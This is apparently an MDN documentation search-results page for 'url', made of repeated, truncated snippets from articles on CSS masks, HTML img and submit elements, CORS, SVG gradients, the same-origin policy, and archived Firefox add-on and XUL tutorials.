url(masks.svg#mask1); /* <image> values */ mask-image: linear-gradient(rgba(0, 0, 0, 1.0), transparent); mask-image: image(
url(mask.png), skyblue); /* multiple values */ mask-image: image(
url(mask.png), skyblue), linear-gradient(rgba(0, 0, 0, 1.0), transparent); /* global values */ mask-image: inherit; mask-image: initial; mask-image: unset; syntax values none this keyword is interpreted as a transparent black image layer. <mask-source> a <
url> reference to a <mask> or to a css image. <image> an image value used as mask image layer. formal definition initial valuenoneapplies toall elements; in svg, it applies to c...
...values none this keyword is interpreted as a transparent black image layer. <mask-source> a <
url> reference to a <mask> or to a css image. <image> an image value used as mask image layer. ...
... an image value used as mask image layer. ...
...And 3 more matches
<img>: The Image Embed element - HTML: Hypertext Markup Language
ion; including which versions introduced support and specific special features that may have been introduced later. image loading errors if an error occurs while loading or rendering an image, and an onerror event handler has been set on the error event, that event handler will get called. this can happen in a number of situations, including: the src attribute is empty ("") or null. the src
url is the same as the
url of the page the user is currently on. the image is corrupted in some way that prevents it from being loaded. the image's metadata is corrupted in such a way that it's impossible to retrieve its dimensions, and no dimensions were specified in the <img> element's attributes. the image is in a format not supported by the user agent. attributes this element includes the g...
... navigating to an origin without https. this is the default if no policy is otherwise specified. origin: the referer header will include the page's origin (scheme, host, and port). origin-when-cross-origin: navigating to other origins will limit the included referral data to the scheme, host, and port, while navigating from the same origin will include the full path and query string. unsafe-
url: the referer header will always include the origin, path and query string, but not the fragment, password, or username. this is unsafe because it can leak information from tls-protected resources to insecure origins. sizes one or more strings separated by commas, indicating a set of source sizes. each source size consists of: a media condition. this must be omitted for the last item in ...
...ource size to select one of the sources supplied by the srcset attribute, when those sources are described using width (w) descriptors. the selected source size affects the intrinsic size of the image (the image’s display size if no css styling is applied). if the srcset attribute is absent, or contains no values with a width descriptor, then the sizes attribute has no effect. src the image
url. mandatory for the <img> element. on browsers supporting srcset, src is treated like a candidate image with a pixel density descriptor 1x, unless an image with this pixel density descriptor is already defined in srcset, or unless srcset contains w descriptors. srcset one or more strings separated by commas, indicating possible image sources for the user agent to use. each string is composed of:...
...And 3 more matches
<input type="submit"> - HTML: Hypertext Markup Language
agent. this label is likely to be something along the lines of "submit" or "submit query." here's an example of a submit button with a default label in your browser: <input type="submit"> additional attributes in addition to the attributes shared by all <input> elements, submit button inputs support the following attributes: attribute description formaction the
url to which to submit the form's data; overrides the form's action attribute, if any formenctype a string specifying the encoding type to use for the form data formmethod the http method (get or post) to use when submitting the form. formnovalidate a boolean which, if present, means the form's fields will not be subjected to constraint validation before submitting...
... the http method (get or post) to use when submitting the form. ...
... multipart/form-data uses the formdata api to manage the data, allowing for files to be submitted to the server. you must use this encoding type if your form includes any <input> elements of type file (<input type="file">). ...
...And 3 more matches
Cross-Origin Resource Sharing (CORS) - HTTP
no readablestream object is used in the request. note: these are the same kinds of cross-site requests that web content can already issue, and no response data is released to the requester unless th...
...itch to a blacklist model for restricted accept headers in simple cors requests no other browsers implement these extra restrictions, because they’re not part of the spec. for example, suppose web content at https://foo.example wishes to invoke content on domain https://bar.other. ...
...ors requests no other browsers implement these extra restrictions, because they’re not part of the spec. for example, suppose web content at https://foo.example wishes to invoke content on domain https://bar.other. ...
...And 3 more matches
Content-Location - HTTP
the content-location header indicates an alternate location for the returned data. the principal use is to indicate the
url of a resource transmitted as the result of content negotiation. location and content-location are different. location indicates the
url of a redirect, while content-location indicates the direct
url to use to access the resource, without further content negotiation in the future. location is a header associated with the response, while content-location is associated with the data returned. this distinction may seem abstract without examples. header type entity header forbidden header name no syntax content-location: <
url> directives <
url> a relative (to the request
url) or absolute
url. examples requesting data from a server in...
... the data returned. this distinction may seem abstract without examples. header type entity header forbidden header name no syntax content-location: <
url> directives <
url> a relative (to the request
url) or absolute
url. examples requesting data from a server in different formats let's say a site's api can return data in json, xml, or csv formats. ...
...y header forbidden header name no syntax content-location: <
url> directives <
url> a relative (to the request
url) or absolute
url. examples requesting data from a server in different formats let's say a site's api can return data in json, xml, or csv formats. ...
...And 3 more matches
Promise.any() - JavaScript
; promise.any([perr]).catch((err) => { console.log(err); }) // expected output: "aggregateerror: no promise in promise.any was resolved" displaying the first image loaded in this example, we have a function that fetches an image and returns a blob. we use promise.any() to fetch a couple of images and display the first one available (i.e. whose promise has resolved). ...
....catch((err) => { console.log(err); }) // expected output: "aggregateerror: no promise in promise.any was resolved" displaying the first image loaded in this example, we have a function that fetches an image and returns a blob. we use promise.any() to fetch a couple of images and display the first one available (i.e. whose promise has resolved). ...
...ne available (i.e. whose promise has resolved). ...
...And 3 more matches
async function - JavaScript
ion will fail-fast regardless of the order of rejection of the promises, and the error will always occur within the configured promise chain, enabling it to be caught in the normal way. rewriting a promise chain with an async function an api that returns a promise will result in a promise chain, and it splits the function into many parts. ...
... of the order of rejection of the promises, and the error will always occur within the configured promise chain, enabling it to be caught in the normal way. rewriting a promise chain with an async function an api that returns a promise will result in a promise chain, and it splits the function into many parts. ...
...thin the configured promise chain, enabling it to be caught in the normal way. rewriting a promise chain with an async function an api that returns a promise will result in a promise chain, and it splits the function into many parts. ...
...And 3 more matches
<feComposite> - SVG: Scalable Vector Graphics
ng the background.</desc> <g enable-background="new"> <text x="15" y="75">opacity 1.0</text> <text x="15" y="115" font-size="27">(with feflood)</text> <text x="15" y="200">opacity 0.5</text> <text x="15" y="240" font-size="27">(with feflood)</text> <use xlink:href="#bluetriangles"/> <g transform="translate(275,25)"> <use xlink:href="#red100" filter="
url(#overflood)" /> <use xlink:href="#red50" filter="
url(#overflood)" /> <text x="5" y="275">over</text> </g> <g transform="translate(400,25)"> <use xlink:href="#red100" filter="
url(#inflood)" /> <use xlink:href="#red50" filter="
url(#inflood)" /> <text x="35" y="275">in</text> </g> <g transform="translate(525,25)"> <use xlink:hre...
... <use xlink:href="#red50" filter="
url(#overflood)" /> <text x="5" y="275">over</text> </g> <g transform="translate(400,25)"> <use xlink:href="#red100" filter="
url(#inflood)" /> <use xlink:href="#red50" filter="
url(#inflood)" /> <text x="35" y="275">in</text> </g> <g transform="translate(525,25)"> <use xlink:href="#red100" filter="
url(#outflood)" /> <use xlink:href="#red50" filter="
url(#outflood)" /> <text x="15" y="275">out</text> </g> <g transform="translate(650,25)"> <use xlink:href="#red100" filter="
url(#atopflood)" /> <use xlink:href="#red50" filter="
url(#atopflood)" /> <text x="10" y="275">atop</text> </g> <g transform="translate(775,25)"> <use xlink...
...<use xlink:href="#red50" filter="
url(#outflood)" /> <text x="15" y="275">out</text> </g> <g transform="translate(650,25)"> <use xlink:href="#red100" filter="
url(#atopflood)" /> <use xlink:href="#red50" filter="
url(#atopflood)" /> <text x="10" y="275">atop</text> </g> <g transform="translate(775,25)"> <use xlink:href="#red100" filter="
url(#xorflood)" /> <use xlink:href="#red50" filter="
url(#xorflood)" /> <text x="15" y="275">xor</text> </g> <g transform="translate(900,25)"> <use xlink:href="#red100" filter="
url(#arithmeticflood)" /> <use xlink:href="#red50" filter="
url(#arithmeticflood)" /> <text x="-25" y="275">arithmetic</text> </g> </g> <g transform="translate(0,...
...And 3 more matches
Gradients in SVG - SVG: Scalable Vector Graphics
stop2" offset="50%"/> <stop class="stop3" offset="100%"/> </lineargradient> <lineargradient id="gradient2" x1="0" x2="0" y1="0" y2="1"> <stop offset="0%" stop-color="red"/> <stop offset="50%" stop-color="black" stop-opacity="0"/> <stop offset="100%" stop-color="blue"/> </lineargradient> <style type="text/css"><![cdata[ #rect1 { fill:
url(#gradient1); } .stop1 { stop-color: red; } .stop2 { stop-color: black; stop-opacity: 0; } .stop3 { stop-color: blue; } ]]></style> </defs> <rect id="rect1" x="10" y="10" rx="15" ry="15" width="100" height="100"/> <rect x="10" y="120" rx="15" ry="15" width="100" height="100" fill="
url(#gradient2)"/> </svg> screenshotlive sample above is an example of a linea...
...n the xml tree. also, like with fill and stroke, you can specify a stop-opacity attribute to set the opacity at that position (again, in ff3 you can also use rgba values to do this). <stop offset="100%" stop-color="yellow" stop-opacity="0.5"/> to use a gradient, we have to reference it from an object's fill or stroke attributes. this is done the same way you reference elements in css, using a
url. in this case, the
url is just a reference to our gradient, which i've given the creative id, "gradient". to attach it, set the fill to
url(#gradient), and voila! our object is now multicolored. you can do the same with stroke. the <lineargradient> element also takes several other attributes, which specify the size and appearance of the gradient. the orientation of the gradient is controlled by ...
...like linear gradients, the <radialgradient> node can take several attributes to describe its position...
...And 3 more matches
Same-origin policy - Web security
the same-origin policy is a critical security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin. it helps isolate potentially malicious documents, reducing possible attack vectors. definition of an origin two
urls have the same origin if the protocol, port (if specified), and host are the same for both. you may see this referenced as the "scheme/host/port tuple", or just "tuple". ...
...tors. definition of an origin two
urls have the same origin if the protocol, port (if specified), and host are the same for both. you may see this referenced as the "scheme/host/port tuple", or just "tuple". ...
... origin if the protocol, port (if specified), and host are the same for both. you may see this referenced as the "scheme/host/port tuple", or just "tuple". ...
...And 3 more matches
Reddit Example - Archive of obsolete content
29 onwards. this example add-on creates a panel containing the mobile version of reddit. when the user clicks on the title of a story in the panel, the add-on opens the linked story in a new tab in the main browser window. to accomplish this the add-on needs to run a content script in the context of the reddit page which intercepts mouse clicks on each title link and fetches the link's target
url. the content script then needs to send the
url to the add-on script. this is the complete add-on script: var data = require("sdk/self").data; var button = require("sdk/ui/button/action").actionbutton({ id: "reddit-panel", label: "reddit panel", icon: "./icon-16.png", onclick: function() { reddit_panel.show(); } }); var reddit_panel = require("sdk/panel").panel({ width: 240, ...
...hen needs to send the
url to the add-on script. ...
... finally, it registers a listener to the user-defined click event which in turn...
...And 2 more matches
ui - Archive of obsolete content
rds. from firefox 30 onwards, you can attach panels to toggle buttons, by passing the button into the panel's constructor or its show() method: frame a frame enables you to create an html iframe, using bundled html, css and javascript. this can then be added to a designated area of the firefox user interface. at the moment you can only add frames to a toolbar. you initialize a frame with a
url pointing to an html document supplied under your add-on's "data" directory. this document can refer to bundled css and javascript files, and your main add-on can communicate with a frame script using message passing. once you've created a frame you need to add it to a toolbar. toolbar the ability to add buttons to toolbars is new in firefox 30. in firefox 29 you can only add frames to toolbars...
...this document can r...
...utton({ id: "play", label: "play", icon: "./icons/play.png" }); var frame = ui.frame({
url: "./frame-player.html" }); var toolbar = ui.toolbar({ title: "player", items: [previous, next, play, frame] }); the toolbar appears just above the content window: sidebar a sidebar gives you a vertical strip of space for presenting complex user interfaces. you initialize a sidebar with a
url pointing to an html document supplied under your add-on's "data" directory. this document can refer to bundled css and javascript files, and your main add-on can communicate with a frame script using message passing. ...
...And 2 more matches
places/history - Archive of obsolete content
access the user's browsing history. usage this module exports a single function, search(), which synchronously returns a placesemitter object which then asynchronously emits data and end or error events that contain information about the state of the operation. ...
...// we'd compose the query with the following options let lastweek = date.now - (1000*60*60*24*7); search( // first query looks for all entries before last week with 'ruby' [{ query: "ruby", to: lastweek }, // second query searches all entries after last week with 'javascript' { query: "javascript", from: lastweek }], // we want to order chronologically by visit date { sort:...
...st match each property within a query object. multiple query objects are then or'd together. options : object optional options: name type count number the number of bookmark items to return. if left undefined, no limit is set. sort string a string specifying how the results should be sorted. possible options are 'title', 'date', '
url', 'visitcount', 'keyword', 'dateadded' and 'lastmodified'. descending boolean a boolean specifying whether the results should be in descending order. by default, results are in ascending order. placesemitter the placesemitter is not exposed in the module, but returned from the search functions. the placesemitter inherits from event/target, and emits data, error...
...And 2 more matches
Canvas code snippets - Archive of obsolete content
ener to the frame's load event. once the remote page has loaded, the remotepageloaded method fires. this method gets a reference to the iframe's window and draws this window to a canvas object. note that this only works if you are running the page from chrome. if you try running the code as a plain webpage, you will get a 'security error" code: "1000' error. ...
...add a listener to the // frame's onload event iframe.addeventlistener('load', this.remotepageloaded, true); //append to the end of the page window.document.body.appendchild(iframe); return; }; remotecanvas.prototype.remotepageloaded = function() { // look back up the iframe by id var ldrframe = document.getelementbyid('test-i...
... windowwidth, windowheight, 'rgb(255, 255, 255)'); ctx.restore(); }; usage: var remotecanvas = new remotecanvas(); remotecanvas.load(); convert image files to base64 strings the following code gets a remote image and converts its content to data uri scheme. ...
...And 2 more matches
File I/O - Archive of obsolete content
.perms_file); // do whatever you need to the created file alert(file.path); user input via nsifilepicker the file picker component, nsifilepicker, can be used to open standard open / save dialogs. it returns the user-specified file as nsifile. nsifile and path strings you can use nsifile.path to get a platform-specific path string, for example "c:\windows\system32" or "/usr/share". ...
... nsifilepicker, can be used to open standard open / save dialogs. it returns the user-specified file as nsifile. nsifile and path strings you can use nsifile.path to get a platform-specific path string, for example "c:\windows\system32" or "/usr/share". ...
...ndard open / save dialogs. it returns the user-specified file as nsifile. nsifile and path strings you can use nsifile.path to get a platform-specific path string, for example "c:\windows\system32" or "/usr/share". ...
...And 2 more matches
Miscellaneous - Archive of obsolete content
in the currently active tab from the context of browser.xul gbrowser.docshell.allowjavascript = false; if this isn't your browser, you should save the value and restore it when finished. if you wish to block selected scripts based on their uri, implement nsicontentpolicy. using string bundles from javascript assuming the extension has myext.properties with name/value pairs such as: invalid.
url=the speficied
url, %s, is invalid. that was attempt number %s. these properties can be accessed from javascript in the following manner: var common = { _bundle: components.classes["@mozilla.org/intl/stringbundle;1"] .getservice(components.interfaces.nsistringbundleservice) .createbundle("chrome://myext/locale/myext.properties"), getlocalizedmessage: functi...
...wing manner: var common = { _bundle: components.classes["@mozilla.org/intl/stringbundle;1"] .getservice(components.interfaces.nsistringbundleservice) .createbundle("chrome://myext/locale/myext.properties"), getlocalizedmessage: function(msg) { return this._bundle.getstringfromname(msg); } }; alert(common.getlocalizedmessage("invalid.
url")) another similar alternative (using both getstringfromname and formatstringfromname), is: var fcbundle = components.classes["@mozilla.org/intl/stringbundle;1"] .getservice(components.interfaces.nsistringbundleservice) .createbundle("chrome://myext/locale/myext.properties"); function getstr(msg, args){ //get localised message if (args){ args = array.prototy...
... var ci = components.interfaces; var cc = components.classes; //assume you can not get the main window object directly, if you can, just use it var wm = cc["@mozilla.org/appsh...
...And 2 more matches
Progress Listeners - Archive of obsolete content
stener object. gecko 2.0 note starting in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1), all events are optional. the tabbrowser only notifies you of the events for which you provide a callback. remember to change mylistener to a unique identifier. ...
... value in address bar changes a commonly asked question is how to get notified whenever the
url in the address bar (also known as location bar) changes. using the following code, you will get notified when user navigates to another page (by clicking a link, using the back/forward button, by typing an address in the location bar, etc.) and also when user switches tabs. var myextension = { old
url: null, init: function() { gbrowser.addprogresslistener(this); }, uninit: function() { gbrowser.removeprogresslistener(this); }, processnew
url: function(auri) { if (auri.spec == this.old
url) return; // now we know the
url is new... ...
...tc.) and also when user switches tabs. var myextension = { old
url: null, init: function() { gbrowser.addprogresslistener(this); }, uninit: function() { gbrowser.removeprogresslistener(this); }, processnew
url: function(auri) { if (auri.spec == this.old
url) return; // now we know the
url is new... ...
...And 2 more matches
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
ll begin to happen. always set the label and tooltiptext attributes of a toolbarbutton. in the case of a toolbaritem element (discussed later), use the title attribute instead of label. tooltips are very important for users that want to know what a button does before clicking it. setting the image for a toolbar button is done with css: #xulschoolhello-hello-world-button { list-style-image:
url("chrome://xulschoolhello/skin/hello-world.png"); } it's not really that simple to set the image for a toolbar button, because we need to consider the appearance of the button on different systems, and also consider the different button states, but we'll get into that further ahead. the css file with your toolbar styles needs to be included in the overlay file, as you would expect, but also in ...
... the mac os ones are 20x20 pixels. this doesn't really matter as long as the contents are 16x16 and they are centered in the frame. mac os x lion has icons with a lighter shade. on linux, icons are 24x24 pixels by default. since firefox is a gtk application, it uses gtk icons whenever possible. the icons in the image are the ones that aren't provided by gtk. gtk icons are accessed using special
urls, like this one: moz-icon://stock/gtk-go-back?size=menu. you can enter this
url in firefox on linux, and the corresponding icon will be displayed. this is also the reason this is the only theme that still has colorful icons for its buttons. now let's look at the css work involved in a toolbar that works on the aforementioned systems. if you want your toolbar to look right on all systems, you sh...
...that you've set the class xs-hw-toolbarbutton to all of your buttons. windows: /* the second and third selectors at the bottom are necessary to prevent conflicts with installed themes. */ toolbarbutton.xulschoolhello-toolbarbutton, window:not([active="true"]) toolbarbutton.xulschoolhello-toolbarbutton, toolbar[iconsize="small"] toolbarbutton.xulschoolhello-toolbarbutton { list-style-image:
url("chrome://xulschoolhello-os/skin/toolbar.png"); } #xulschoolhello-hello-world-button { -moz-image-region: rect(0px, 16px, 16px, 0px); } mac os x: /* the second and third selectors at the bottom are necessary to prevent conflicts with installed themes. */ toolbarbutton.xulschoolhello-toolbarbutton, window:not([active="true"]) toolbarbutton.xulschoolhello-toolbarbutton, toolbar[iconsize="...
...And 2 more matches
Connecting to Remote Content - Archive of obsolete content
previousnext » using xmlhttprequest xmlhttprequest is an api for transferring xml between a local script and a remote server via http. it is an integral part of the modern web, and all major browsers support it. besides xml, it can be used to retrieve data in other formats, for example json, html and plain text. in this section we'll look into the xml and json communication mechanisms. ...
...you can see that an instance of the xmlhttprequest class is created and it holds all functionality for making a request. we create this instance using xpcom instead of the usual way (new xmlhttprequest()) because this way works both in chrome and non-chrome code. following initial...
...t can be manipulated using dom methods. sometimes the server doesn't specify an xml content-type header, which is necessary for the xml parsing to happen automatically. you can use overridemimetype to force the response to be parsed as xml. ...
...And 2 more matches
Adding preferences to an extension - Archive of obsolete content
api. download the sample you can download a copy of this sample to look over, or to use as the basis for your own extension. get the code here: download the sample update the manifests the install manifest and chrome manifest need to be updated. by and large, the changes are simply changing the id of the extension. however, we do need to add one new line to the install.rdf file: <em:options
url>chrome://stockwatcher2/content/options.xul</em:options
url> this line establishes the
url of the xul file that describes the options dialog. please note that if you are using code from this tutorial to add to an existing extension, you must uninstall and reinstall your extension to enable the preferences button for your extension in the add-ons list. establish the defaults in order to set a...
...to the preference object's setcharpref() function, which sets the value of the "symbol" preference. note that this call results in our stockwatcher.observe() method being invoked and displayed stock information being updated. ...
...r the stock to watch and use that to construct the
url to monitor, as well as to construct the string to be displayed in the status bar panel. ...
...And 2 more matches
Microsummary XML grammar reference - Archive of obsolete content
he generator. attributes: name (required) a descriptive, human-readable name for the microsummary created by the generator. uri (optional) a valid uri uniquely identifying the generator. only relevant for generators dynamically created by firefox code and extensions. generators installed from the web via nssidebar::addmicrosummarygenerator are identified by the remote
url from which they were downloaded, and firefox ignores the value of this attribute for them. child elements: <template> (required) defines how to transform pages into their microsummaries. <pages> (required) identifies the set of pages that the generator is able to summarize. <update> (optional) specifies how frequently firefox should update the microsumm...
...he microsummaries namespace (http://www.mozilla.org/microsummaries/0.1), its <stylesheet>/<transform> child element must be in the xslt namespace (http://www.w3.org/1999/xsl/transform). the <pages> element the <pages> element identifies the set of pages that the generator is able to summarize. attributes: none. child elements: <include> (optional) a regular expression matching the
urls of pages that the generator is able to summarize. <exclude> (optional) a regular expression matching the
urls of pages that the generator is not able to summarize. the <pages> element can contain zero or more <include> and <exclude> child elements, each of which must contain a valid javascript-compatible regular expression. it must not contain any other elements, and it does not h...
...s> element can contain zero or more <include> and <exclude> child elements, each of which must contain a valid javascript-compatible regular expression. it must not contain any other elements, and it does not have any attributes. when a generator is examined to determine whether or not it is able to summarize a page, the regular expressions provided by the child elements are evaluated against the
url of the page. a generator is considered to be able to summarize a page if at least one of the <include> expressions matches the
url of the page and none of the <exclude> expressions match the
url of the page. the order in which child elements appear within the <pages> element is not significant. white space between the child element tags and the regular expressions they contain is also not signifi...
...And 2 more matches
Venkman Internals - Archive of obsolete content
ust my knowledge of venkman, which is quite limited. you would be better off asking silver (james ross). gijskruitbosch 05:41, 7 march 2007 (pst) venkman-debugger.js sets hooks in to the jsdidebuggerservice. initdebugger(). scriptmanager in initdebugger() the previous loaded scripts are passed to an onscriptcreated() method which binds them to a scriptmanager. there is one scriptmanager per
url (web page). this method is set into jsdiscripthook.onscriptcreated venkman-views.js views are the panels shown within the venkman window. for example, the "open windows" view shows the browser's windows. venkman-records.js a "record" seems to be data underlying a view. for example, framerecord represents a javascript stack frame. venkman-msg.js localization code, reads venkman.properties...
...rom a subdirectory of "locale" and injects variables. things like msg.alert define variables msg_alert. venkman-utils.js defines the dd debug dump and friends windowrecord representation of the open windows. filecontainerrecord - list of script tags found in the parent record's window.document property. to obtain the antecedent files: doc.getelementsbytagname("script"); then extract the
urls from the src attributes. scriptwrapper newsgroup, 2002, rgrinda here is a bit more information about how venkman tracks files and functions... a scriptwrapper is a pure js object defined only inside venkman. as you pointed out, there is a 1:1 relationship between scriptwrappers and functions. scriptwrapper has-a jsdscript property, which is an object which supports the jsdiscript interface. ...
...nction is scriptwrapper.jsdscript.baselinenumber (one based). the total length of the function is scriptwrapper.jsdscript.lineextent. if you want to get at the pretty printed source text, instead of the actual source text, use scriptwrapper.jsdscript.functionsource. scriptinstance all scriptwrappers are parented by a single scriptinstance, which holds all of the scriptwrappers for a particular
url. from here, you can set and clear breakpoints by line number (instead of by program counter), locate a scriptwrapper for a given line number, and do a few other useful things. scriptinstance.functions is a hash of all of the functions in the script instance, keyed by the tag property of the jsdscript. scriptinstance.toplevel is the top-level script for the instance. scriptmanager sometimes the...
...And 2 more matches
A XUL Bestiary - Archive of obsolete content
things. in general, chrome refers to a xul interface and all of its supporting files; chrome means the xul content and structure, plus the css skin, plus whatever localization and platform-specific files are part of that xul interface. by contrast, the skin is just the css and referenced graphics for a xul file, the localization strings are just a dtd, and the content is just the xul. ...
...css skin, plus whatever localization and platform-specific files are part of that xul interface. by contrast, the skin is just the css and referenced graphics for a xul file, the localization strings are just a dtd, and the content is just the xul. the chrome
url this concept of a chrome as an integrated, dynamic thing in some way divorced from the "appcore" is realized in the use of the chrome
url to point to chunks of xul and their related files. the chrome
url, which appears in place of the http
url in pointers like the following global skin processing instruction: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> specifies a chrome to be loaded by the gecko rendering engine. in the example above, the chrome is simply a skin file to be loaded into the xul file, but the c...
...me is simply a skin file to be loaded into the xul file, but the chrome can also be used to load whole chromes, as when a <menuitem> in one window brings up a new chrome: <menuitem value="mozilla help" oncommand="window.opendialog('chrome://help/content/help.xul', '_blank', 'chrome,all,dialog=no')" /> in this example, the chrome
url is being used to point to a chrome within the package hierarchy of the mozilla application. a help chrome defined in mozilla/bin/chrome/help/ is being invoked from the help menu. note that when no file name is specified after the chrome directory path, a file name with the same name as the package is assumed. in other words, a chrome
url like the global pointer above picks up a file called global...
...And 2 more matches
Index - Archive of obsolete content
718 hidden xul properties, xul reference no summary! 719 hideseconds xul properties, xul reference no summary! 720 highlightnonmatches xul properties, xul reference no summary! 721 homepage xul properties, xul reference no summary! 722 hour xul properties, xul reference no summary! 723 ho
urleadingzero xul properties, xul reference no summary! 724 id xul properties, xul reference no summary! 725 ignoreblurwhilesearching xul properties, xul reference no summary! 726 image xul properties, xul reference no summary! 727 increment xul properties, xul reference no summary! 728 inputfield...
...rieves its data from a datasource. several types of datasources are supported by default, rdf, xml and sqlite databases, however, processors may be written to support other types of datasources. in xul, the datasource is specified by placing the datasources attribute on an element. typically, the value will be a uri that identifies the location of the data. for example, for an xml datasource, the
url of an xml file is specified. when the xul parser sees an element with this attribute, it constructs a template builder for the element and attaches it to the element. it is expected that there will be a template inside the element. the template builder loads the datasource, performs a query on the datasource and generates content based on the results in combination with the template. the type of ...
...page: custom toolbar button) 961 toolbar customization events toolbars, xul when toolbars are customized, events are sent to their parent window. you can use window.addeventlistener() to listen for these events in order to keep abreast of changes to toolbars. 962 tree widget changes xul this describes changes in xul trees api for gecko 1.8. 963
urlbar-icons xul reference, xul_element the location of ui elements like the bookmarks, feed and go buttons. create new image or button child elements to add your own items. 964 using remote xul xul xul (pronounced like "zool"), which is short for xml-based user interface language, is an xml-based language for describing application interfaces. it contains elements for ...
...And 2 more matches
Additional Navigation - Archive of obsolete content
as the object of a triple is a common way to filter out specific items. for instance, if items were identified with a type, the data could be filtered to include only items of a particular type. here is an example triple that we could use in the photos example: <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://p
url.org/dc/elements/1.1/title" object="canal"/> </query> this new triple has a static value for the object attribute instead of a variable reference. you might be able to guess that it will cause a match for only one of the photos, the canal photo. the others won't be able to match when evaluating the triple. to look closer, here is the data network after only the member has been evaluated...
...jpg) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/obselisk.jpg) when evaluating the triple, the template builder will iterate over the three potential results found so far. for the first result, the value of the ?photo variable 'http://www.xulplanet.com/ndeakin/images/t/palace.jpg' will be used as the subject, the predicate will be 'http://p
url.org/dc/elements/1.1/title', and the object will be 'canal'. since there are no variables to fill into the triple, the builder will just confirm that such a triple exists in the datasource. the triple doesn't exist for the first result since the title for the first photo is 'palace from above', so the potential result will be removed from the data. for the second result, such an arc does exist, so...
...h, since it wouldn't be particularly useful. also, you cannot use a variable in the predicate. only the subject and object attributes may have variables. another thing that you cannot have is a triple where both variables would be unknown as in the following: <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?category" predicate="http://p
url.org/dc/elements/1.1/title" object="?title"/> </query> in this case when the template builder gets to the triple, neither the ?category nor the ?title variables can be filled in so the builder doesn't know what to generate. the builder won't generate any output in this situation. the member tag must have variables for both the container and child attributes. it wouldn't be very common ...
...And 2 more matches
Building Trees - Archive of obsolete content
this template uses the simple rule syntax. the extended syntax could also be used. when...
...this template uses the simple rule syntax. the extended syntax could also be used. when using the tree builder, the uri attribute must be declared on the treei...
...asks the view for the contents of each cell. the builder looks at the label for the corresponding cell, translates any variables or predicates into values, and returns the value. in the example above, the first cell should display the title. the builder doesn’t compute any labels until the view asks for them. when the view requests a label for the first cell, the builder looks up the ‘http://p
url.org/dc/elements/1.1/title’ predicate for the row in question and returns it. the content builder generates content in the template body and substitutes data from the datasource right away. however, it will generate the same result on screen to the user as with the tree builder. compare the example with a tree builder and the same example using a content builder. here is an example of a tree usi...
...And 2 more matches
RDF Modifications - Archive of obsolete content
'move' to adjust the source of a 'triple'. for mozilla's datasources, the latter two just unassert the old triple and add a new one, creating the effect of changing the value. however, only one notification is made. for instance, an assert call looks like the following: var source = rdf.getresource("http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg"); var predicate = rdf.getresource("http://p
url.org/dc/elements/1.1/description"); var target = rdf.getliteral("one of the thirty or so egyptian obelisks"); datasource.assert(source, predicate, target, true); the assert call adds a new triple to the rdf datasource. when this happens, any templates observing the datasource will be notified via the rdf observer's onassert method. the second situation when notifications are made is when a dataso...
...s are finished. the template builder then rebuilds the template completely when done. this is useful when making a large amount of changes to avoid having to keep recalculating parts of the template that might change again quickly. adding rdf triples let's say we've just added the triple below to the datasource. subject: http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg predicate: http://p
url.org/dc/elements/1.1/description object: one of the thirty or so egyptian obelisks the template builder will be notified through the rdf observer mechanism of the change. the template builder will need to check all of the queries and rules to see if this triple could cause a change in what would be displayed. if the triple wouldn't cause any change in the output, the builder won't make any change...
...er by adding a new result, removing an old result, or by changing the value of some part of the result. the builder is smart enough to only change what needs to be changed and leave the remaining parts alone. let's assume we have single query with as follows: <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://p
url.org/dc/elements/1.1/title" object="?title"/> <triple subject="?photo" predicate="http://p
url.org/dc/elements/1.1/description" object="?description"/> </query> these query statements will cause any photos with both a title and a description to be displayed. assuming that the 'obelisk' photo doesn't have a description already, adding the triple listed above...
...And 2 more matches
Textbox (XPFE autocomplete) - Archive of obsolete content
n this attribute. search-autocomplete requires seamonkey 2.1 the user's default search engine's suggestions are searched. places-tag-autocomplete requires seamonkey 2.1 the user's places tags are searched. mydomain new in thunderbird 3 requires seamonkey 2.0 the user's email domain is suggested. history requires seamonkey 2.0 the user's
url history is searched. form-history requires seamonkey 2.0 search the values that the user has entered into form fields. file (linux only) the local file system is searched. gloda new in thunderbird 3 addrbook new in thunderbird 3 requires seamonkey 2.0 the user's address book is searched. ldap new in thunderbird 25 requires seamonke...
...r, the value may still be modified by a script. searchsessions obsolete since gecko 26 type: space-separated list of session names set to a keyword indicating what type of data to look up for autocomplete. you may set multiple types by separating their names by spaces. the following values are possible, although custom components may be installed which add others. ...
...ponents may be installed which add others. history: the user's
url history is searched. obsolete since gecko 3 addrbook: the user's address book is searched. obsolete since gecko 3 ldap: the user's ldap directories are searched. obsolete since gecko 25 showcommentcolumn obsolete since gecko 1.9.1 type: boolean if true, a comment column appears in the popup. for the
url history, the comment column will contain the page titles associated with each
url. if this attribute is not specified, the comment column doesn't appear. as of gecko 1.9.1, this attribute is now always specified in lower case. ...
...And 2 more matches
Code Samples - Archive of obsolete content
ecify the file in the normal way. const path = "c:\\windows\\charmap.exe" var file = components .classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsilocalfile) file.initwithpath(path) file.launch() open a web page if your button is in firefox or seamonkey, use code like this to open a web page. ...
....classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsilocalfile) file.initwithpath(path) file.launch() open a web page if your button is in firefox or seamonkey, use code like this to open a web page. ...
...amonkey, use code like this to open a web page. change the first line to specify the page that you want to open: const
url = "http://www.mozilla.org/" document .getelementbyid("content") .webnavigation .loaduri(
url, 0, null, null, null) if your button is in thunderbird or sunbird, use code like this to open a web page. ...
...And 2 more matches
Content Panels - Archive of obsolete content
note that xul does have a wizard element which may be used to create wizard interfaces. this will be described in a later section. another approach is to use the iframe element, which works much like the html element of the same name. it creates a separate document within the window. it has the advantage that it can be placed anywhere and the contents can be loaded from a different file. ...
...sed to create wizard interfaces. this will be described in a later section. another approach is to use the iframe element, which works much like the html element of the same name. it creates a separate document within the window. it has the advantage that it can be placed anywhere and the contents can be loaded from a different file. set the
url to appear in the frame with the src attribute. this
